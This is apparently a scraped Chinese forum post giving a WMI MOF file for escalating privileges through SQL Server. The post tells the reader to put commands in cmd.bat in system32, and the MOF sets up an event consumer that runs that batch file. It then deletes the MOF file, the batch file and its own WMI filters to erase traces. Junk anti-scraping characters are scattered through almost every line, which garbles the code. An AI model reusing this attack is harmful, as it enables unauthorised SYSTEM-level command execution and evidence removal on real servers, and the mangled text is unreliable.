这个sql提权MOF需要运行 system下的文件,不能定义路径。5 u- |; w3 x3 N
需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ U/ N2 m: Q9 d" h1 G2 o) v, i8 u$ s6 ]% R
这个sql提权MOF需要运行 system下的文件,不能定义路径。/ ~! T5 o+ F H1 j/ O1 e" u
需要将要运行的命令写入到bat上传到system32目录,然后执行。8 G1 j: ~2 N) `7 ^5 L* q+ n# t
5 e# e) W- I% }6 ?* G
#pragma
8 z \: Q+ O# d5 ^. X namespace("\\\\.\\root\\cimv2")
# r5 ]* _9 ?, C- l' v+ C# T# x# q' v class3 R- D I! @! e) @# I! e
MyClass5472 P7 Q3 B6 s' l3 g) k t" ^1 q: `
{ [key]; N7 ?5 f; ]4 X3 n- `' Z" N0 d% t$ i
string
4 s& l$ x8 u; P& Q1 w3 u" e/ X! T Name;# ?" S/ q2 B& ~' q- n5 c
};+ c& l- K# @( P: M; d* m& r* x" T6 z
class2 V$ a0 R+ q0 K6 J5 l
ActiveScriptEventConsumer" ~5 Z! o+ r7 A$ P8 }/ d; F" P
: __EventConsumer { [key] j( V9 m: Y: W, I
string0 s6 o7 O% y% k5 J/ I
Name; [not_null]
* p( {$ p; G0 }; G9 x; ]9 R string
9 B3 ]1 |4 a% p ScriptingEngine; string
& t3 p, y% C4 K7 f# F4 b4 } ScriptFileName; [template]1 F" a& e% w% n" j! U* `
string
: B& J% o+ z1 k: v8 m2 [0 N9 W ScriptText; uint32 KillTimeout;2 P( f8 a. E/ ?
}; instance of __Win32Provider as $P {8 E, I" ?: W7 b- h" r% l7 I
Name3 C+ e% M6 \0 P4 ^* j. y* t: ~
=
1 b0 z b( F0 R8 O9 `& Q# j "ActiveScriptEventConsumer"; CLSID =
1 g2 v9 u$ j! H$ M; Y "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";0 D7 l( B; o t- p, M& {" G& P
PerUserInitialization
# `4 L* ?' c' f! r) w# G6 L = TRUE;
s7 Q. C7 E6 b }; instance of __EventConsumerProviderRegistration { Provider9 O7 N) h4 ^, Y) u' ]) r
= $P; ConsumerClassNames W& k2 A3 c, F( g" F0 Q' x
=/ G# h$ g/ I) g' U' _
{"ActiveScriptEventConsumer"};/ k3 f9 ^$ o, W2 [; c/ E1 Y
};% P' e# [8 {0 r+ j" _, B
Instance of ActiveScriptEventConsumer0 l- V D U3 q
as $cons { Name; \ k- P7 _7 [# z
=0 |9 e M" N2 R0 P' B
"ASEC"; ScriptingEngine
9 O; E' |5 Y( e% p$ ~' F( `! V% z! } =! H) X; z1 D( f$ U9 Q
"JScript"; ScriptText( R$ C9 [$ D K9 r% x. Q7 q2 Z
=
0 }. _& Z: h9 x( r; ? "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };( b3 Z1 i8 J+ b5 [) ~5 k6 v
Instance of ActiveScriptEventConsumer5 F" d. z/ z( A6 y" b" B
as $cons2 { Name& _: C3 ]; {, [$ L
=
$ o t: H7 I$ M9 e. W "qndASEC"; ScriptingEngine
$ n* r' |( R. W' Z! U( u: c3 q' z =
: I5 _0 ?9 u6 d; ` "JScript"; ScriptText
. w; K3 n6 D3 U# W5 e =& I' S' b0 m/ b3 m6 q+ I$ F: R
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
/ a: U9 a9 B5 s5 c }; instance of __EventFilter as $Filt { Name' o3 S( C5 D5 p
=; F3 t5 f( W9 Z! b G0 b Q, ?
"instfilt"; Query
7 F3 @4 f) M4 x2 | =$ Y% H5 n7 R$ E% r! O
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage, _; O: T/ ?( ]& Y2 t
=4 H. B a' G$ f* r, l* g6 D2 `+ B( R
"WQL"; }; instance of __EventFilter as $Filt2 { Name9 I2 R ]! S* Q
=
( E! z; w4 J6 m8 l "qndfilt"; Query4 v8 w3 G' f$ j; o* ]
=
6 i, ~. O, i( b$ W4 z "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
# i4 ]9 J# X' k =: B! G& J0 b. C2 {8 J
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
, h4 K$ q# ~: c J6 r% _" @ = $cons; Filter
: h/ P! x( J: ]2 C = $Filt;# k7 @' ^) t. R, j
}; instance of __FilterToConsumerBinding as $bind2 { Consumer9 x4 A$ P, M, w( ^7 X
= $cons2; Filter( Z7 H4 B* U! _2 B1 Q& O9 W4 E/ \
= $Filt2;: c: K/ [ W* }
}; instance of MyClass547
3 U$ H3 t; Y2 B; L( F* O as $MyClass { Name6 Z3 D7 u& `: e) C
=
7 d; g& m4 x/ N8 m$ S1 v8 w4 e "ClassConsumer";
$ k/ f# U6 {5 ?$ Y. ]7 u, U }; |